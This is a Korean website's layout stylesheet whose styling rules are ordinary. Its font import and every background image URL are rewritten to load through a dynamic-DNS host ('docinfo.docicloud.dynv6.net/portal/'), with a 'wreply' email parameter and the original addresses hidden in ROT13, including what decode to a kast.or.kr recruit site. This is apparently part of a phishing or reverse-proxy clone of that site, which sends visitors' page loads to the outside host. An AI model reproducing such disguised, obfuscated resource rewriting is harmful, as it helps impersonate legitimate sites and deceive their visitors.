@charset "utf-8";
/* *******************************************************
 * filename : layout.css
 * description : 전체 레이아웃 CSS
 * date : 2021-06-14
******************************************************** */

@import url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tbbtyrncvf.pbz%2Spff2%3Ssnzvyl%3QCynl%3Njtug%40400%3O700%26qvfcynl%3Qfjnc');

/* ****************** LAYOUT ********************** */
::selection {
    background: #555;   
    color: #fff;
}
::-moz-selection {
    background: #555;    
    color: #fff;
}
body, table, th, td, button, select, input, textarea {
	font-family:'Noto Sans KR', "나눔고딕", NanumGothic, "Nanum Gothic","돋움", Dotum, Arial, sans-serif;
	font-size:13px;
	color:#666;
	-webkit-text-size-adjust:none;
	word-break:keep-all;
}
body { background-color:#fff; }
table, th, td{word-break:break-word;}
#wrap {overflow:hidden; width:100%; min-width:1280px; position:relative; }
.area{ max-width:1200px; margin:0px auto;} /* width 홈페이지 컨텐츠 가로값에 맞게 변경 */
.area-box{ max-width:1444px; margin:0px auto; }
.area-1255{ max-width:1255px; margin:0px auto; }
.area-1410{ max-width:1410px; margin:0px auto; }
.area-1615{ max-width:1615px; margin:0px auto; }

/* Fullpage Layout */
.fullpage-html{overflow:hidden; height:100%;}
.fullpage-html #wrap{position:static;}

.font-noto{font-family:'Noto Sans KR', "나눔고딕", NanumGothic, "Nanum Gothic","돋움", Dotum, Arial, sans-serif;}
.font-welcome{font-family:'OTWelcome','Noto Sans KR', "나눔고딕", NanumGothic, "Nanum Gothic","돋움", Dotum, Arial, sans-serif;}
.font-play{font-family:"Play",'Noto Sans KR', "나눔고딕", NanumGothic, "Nanum Gothic","돋움", Dotum, Arial, sans-serif;}

#container{min-height:calc(100vh - 350px)}

/* ****************** HEADER ********************** */
#header{
	position:relative; /* position:absolute; */ height:110px; top:0; left:0; width:100%; z-index:9999; 
}
#headerInnerWrap{
	position:absolute; top:0px; left:0px; width:100%; height:100%; z-index:9999; background-color:#fff; 
	-webkit-transition:background-color 0.3s;
	transition:background-color 0.3s
}
#headerInner{position:relative; height:100%; margin:0px auto;}
#header .logo{position:relative; z-index:100; float:left; padding-top:40px; }
#header .logo a{display:block; }
#header .logo img{display:block; vertical-align:top;}

/* -------- Header :: 링크 -------- */
.header-link{float:right; text-align:right; margin-top:28px}
.header-link li{display:inline-block; width:197px; height:56px; line-height:54px; background-color:#f6f6f6; border:1px solid #e0e0e0; box-sizing:border-box; border-radius:50px; text-align:center; overflow:hidden; transition:all 0.3s}
.header-link li a{color:#262626; font-weight:500; font-size:17.7px; letter-spacing:-0.65px; display:block; }
.header-link li a i{color:#0f69bb; font-size:24px; margin-right:15px; vertical-align:middle; position:relative; top:-2px}
.header-link li.blue{background-color:#0f69bb; border-color:#0f69bb; margin-left:12px; }
.header-link li.blue a{color:#fff}
.header-link li.blue a i{color:#fff; font-size:20px; }
.header-link li:hover{border-color:#222}
.header-link li.blue:hover{border-color:#0f69bb; background-color:#0975d7}


/* ****************** FOOTER ********************** */
/* Footer :: 레이아웃 */
#footer{background-color:#e9eef1; padding:60px 0}
#footerInner{position:relative; }
.footer-left-con{float:left; width:calc(100% - 355px); padding-top:5px}
.footer-right-con{float:right; width:355px; text-align:right}

/* Footer :: TOP버튼 */
.to-top-btn.footer-top{
	position:fixed; bottom:-100px; right:15px; display:block; width:55px; height:55px; background-color:#25292c; text-align:center; color:#fff; z-index:99;
	opacity:0;filter:Alpha(opacity=0); transition:all 0.6s; border-radius:15px
}
.to-top-btn.footer-top.bottom-fixed{bottom:15px; opacity:1.0;filter:Alpha(opacity=100);}
.to-top-btn.footer-top i{display:inline-block; font-size:21.28px; line-height:55px; transition:all 0.3s}
.to-top-btn.footer-top:hover i{transform:translateY(-3px)}

/* Footer :: 정보 */
.footer-address{margin-bottom:15px; letter-spacing:-0.5px;}
/*.footer-address .footer-address-txt{margin-bottom:15px}*/
.footer-address p{display:inline-block; vertical-align:top; font-weight:400; font-size:16px; letter-spacing:-0.5px; color:#888; line-height:1.4; margin-right:15px; margin-bottom:10px}

/* Footer :: Copyright */
.footer-copyright{font-size:15px; letter-spacing:-0.15px; font-weight:400; color:#adadad; padding-top:10px}
.footer-copyright b{color:#0f69bb; font-weight:400}

/* Footer :: SNS 리스트 */
.foot-sns-menu{text-align:right; margin-bottom:28px}
.foot-sns-menu li{/* float:left; */display:inline-block; vertical-align:middle; margin-left:8px}
.foot-sns-menu li a{display:block; width:40px; height:40px; line-height:40px; text-align:center; border-radius:50%; transition:all 0.3s}
.foot-sns-menu li a .icon{display:block; width:100%; height:100%}
.foot-sns-menu li.icon-01 a .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Svpba%2Ssbbgre_faf_01.cat) no-repeat center}
.foot-sns-menu li.icon-02 a .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Svpba%2Ssbbgre_faf_02.cat) no-repeat center}
.foot-sns-menu li.icon-03 a .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Svpba%2Ssbbgre_faf_03.cat) no-repeat center}
.foot-sns-menu li.icon-04 a .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Svpba%2Ssbbgre_faf_04.cat) no-repeat center}

@media all and ( min-width: 801px ){	
	.foot-sns-menu li a:hover{background-color:#0f69bb}
	.foot-sns-menu li.icon-01 a:hover .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Svpba%2Ssbbgre_faf_01_ba.cat) no-repeat center}
	.foot-sns-menu li.icon-02 a:hover .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Svpba%2Ssbbgre_faf_02_ba.cat) no-repeat center}
	.foot-sns-menu li.icon-03 a:hover .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Svpba%2Ssbbgre_faf_03_ba.cat) no-repeat center}
	.foot-sns-menu li.icon-04 a:hover .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Svpba%2Ssbbgre_faf_04_ba.cat) no-repeat center}
}


/* Footer :: 패밀리사이트 */
.family-privacy{text-align:right}
.family-site-box{display:inline-block; position:relative; width:172px; text-align:left; letter-spacing:-0.25px;}
.family-site-box .family-site-open-btn{display:block; width:100%; height:55px; line-height:53px; padding:0 25px; text-align:left; font-weight:400; font-size:15px; letter-spacing:-0.5px; color:#333; border:1px solid #c6cbcd; box-sizing:border-box; transition:all 0.3s}
.family-site-box .family-site-open-btn:after{position:absolute; right:20px; top:50%; transform:translateY(-50%); font-size:20px; font-family: 'xeicon'; content:"\e942";}
.family-site-box.open .family-site-open-btn:after{content:"\e945";}
.family-site-list{position:absolute; bottom:100%; left:0px; width:100%;  padding:10px 0; background-color:#fff; border:1px solid #ddd; border-bottom:0;  z-index:11; display:none; box-sizing:border-box;}
.family-site-list a{display:block; padding:10px 20px; color:#333; font-size:12px;}
.family-site-list a:hover{color:#000; text-decoration:underline;}

/* Footer :: 개인정보처리방침 */
.foot-privacy-btn{display:inline-block; vertical-align:top; width:172px; height:55px; line-height:53px; border:1px solid #c6cbcd; box-sizing:border-box; text-align:center; font-weight:400; font-size:15px; letter-spacing:-0.5px; color:#333; margin-left:6px; transition:all 0.3s}

@media all and ( min-width: 801px ){	
	.family-site-box .family-site-open-btn:hover,
	.foot-privacy-btn:hover{border-color:#222}
}


/* ****************** SUB LAYOUT ********************** */
/*  SUB LAYOUT :: 비주얼 */
#visual{position:relative; overflow:hidden; width:100%; height:120px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.xnfg.be.xe%2Serpehvg%2Svzntrf%2Synlbhg%2Sfho_ivfhny_ot.wct) no-repeat 50% 0; background-size:cover}
#visual .visual-txt-con{position:relative; z-index:1; text-align:left; display:table; width:100%; height:100%; letter-spacing:-0.5px; color:#fff;}
#visual .visual-txt-container{position:relative; width:100%; }
#visual .visual-tit{font-weight:600; font-size:37.5px; letter-spacing:-0.5px; color:#fff}

/*  SUB LAYOUT :: 컨텐츠 레이아웃 */
#content{padding:113px 0}
/*#content:not(.wide){padding:113px 0}
#content.wide{padding:113px 0 0 0}*/

/*  SUB LAYOUT :: 상단정보 (공통) */
.content-tit{color:#111; font-size:36px; font-weight:600; letter-spacing:-0.6px; margin:0 auto 55px; text-align:center;}


/* ****************** MODAL LAYERPOPUP ********************** */
/* modal layer */
.modal-fixed-pop-wrapper{display:none; overflow-y:scroll; overflow-x:hidden;  position:fixed; top:0px; left:0px; width:100%; height:100%; z-index:9999; background:#000; background:rgba(0,0,0,0.8);}
.modal-fixed-pop-inner{position:absolute; display:table; width:100%; height:100%; text-align:center;}
.modal-inner-box{ position:relative; display:table-cell; vertical-align:middle;}
.modal-loading{position:absolute; top:50%; left:50%; margin:-25px 0 0 -25px; z-index:10000;}
.modal-inner-content{text-align:left;}
.loading {
  display: inline-block;
  width: 50px;
  height: 50px;
  border: 8px solid rgba(255,255,255,.3);
  border-radius: 50%;
  border-top-color: #fff;
  animation: spin 1s ease-in-out infinite;
  -webkit-animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
  to { -webkit-transform: rotate(360deg); transform: rotate(360deg); }
}
@-webkit-keyframes spin {
  to { -webkit-transform: rotate(360deg); transform: rotate(360deg);  }
}
/* modal layer content */
.footer-modal-content{position:relative; width:96%; max-width:1000px; margin:20px auto; }
.footer-modal-content h1{font-size:24px; font-weight:600; letter-spacing:-0.5px; text-align:center; padding:0 50px 20px; color:#fff;}
.modal-close-btn{position:absolute; top:-6px; right:-6px; color:#fff; }
.modal-close-btn i{font-size:38px;}
.modal-close-btn i:hover {color:#fff}
.footer-inner-box{padding:30px; background-color:#fff; }
.footer-inner{padding:20px; height:400px; overflow-y:auto; overflow-x:hidden; border:1px solid #ddd; }